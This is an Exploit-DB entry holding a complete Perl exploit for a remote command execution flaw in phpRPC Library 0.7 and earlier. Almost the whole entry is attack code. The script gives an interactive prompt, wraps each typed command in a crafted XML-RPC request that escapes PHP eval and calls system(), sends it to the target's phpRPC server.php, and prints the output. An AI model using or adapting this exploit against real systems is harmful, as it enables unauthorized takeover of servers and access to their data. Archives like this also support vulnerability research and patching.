phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution 2

2006-03-02T00:00:00
ID EDB-ID:1546
Type exploitdb
Reporter cijfer
Modified 2006-03-02T00:00:00

Description

phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution (2). Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
#
# phpRPC &lt;=0.7 Remote Command Execution Exploit
#
# based on: http://www.gulftech.org/?node=research&article_id=00105-02262006
#
# Copyright (c) 2006 cijfer &lt;cijfer@netti!fi&gt;
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to 'http://target.com/dir'
# cijfer$ 
#
# $Id: cijfer-prpcxpl.pl,v 0.1 2006/03/01 05:46:00 cijfer Exp $

use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

$res  = GetOptions("host=s" =&gt; \$host, "proxy=s" =&gt; \$proxy, "verbose+" =&gt; \$verbose);
&usage unless $host;

while()
{
	print color("green"), "cijfer\$ ", color("reset");
	chomp($command = &lt;STDIN&gt;);
	exit unless $command;
	if($command =~ m/^http:\/\/(.*)/g)
	{
		$host="http://".$1;
		print "host changed to '";
		print color("bold"), $host."'\n", color("reset");
	}
	else
	{
		&exploit($command,$host);
	}
}

sub usage
{
	print "phpRPC &lt;=0.7 Remote Command Execution Exploit\n";
	print "usage: $0 -hpv\n\n";
	print "  -h, --host\t\tfull address of target (ex. http://www.website.com/dir)\n";
	print "  -p, --proxy\t\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
	print "  -v, --verbose\t\tverbose mode (debug)\n\n";
	exit;
}

sub exploit
{
	my($command,$host) = @_;

	$cij=LWP::UserAgent-&gt;new() or die;
	$cij-&gt;agent("Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0) Gecko/20060101");
	$cij-&gt;proxy("http", "http://".$proxy."/") unless !$proxy;

	$string  = shift;
	$xml     = "&lt;?xml version=\"1.0\"?&gt;";
	$xml    .= "&lt;methodCall&gt;";
	$xml    .= "&lt;methodName&gt;cijfer";
	$xml    .= "    &lt;params&gt;";
	$xml    .= "	    &lt;param&gt;";
	$xml    .= "	    &lt;value&gt;&lt;base64&gt;'));echo\"_cijfer_\n\";system('".$string."');echo\"_cijfer_\";exit();";
	$xml    .= "	    &lt;/param&gt;";
	$xml    .= "    &lt;/params&gt;";
	$xml    .= "&lt;/methodCall&gt;";

	$req=new HTTP::Request 'POST'=&gt;$host."/modules/phpRPC/server.php";
	$req-&gt;content_type("text/xml");
	$req-&gt;content($xml);
	$out=$cij-&gt;request($req);

	if($out-&gt;is_success)
	{
		@cij=split("_cijfer_",$out-&gt;content);
		print substr(@cij[1],1);
	}

	if($verbose)
	{
		$recv=length $out-&gt;content;
		print "Total received bytes: ".$recv."\n";
		$sent=length $command;
		print "Total sent bytes: ".$sent."\n";
	}
}

# milw0rm.com [2006-03-02]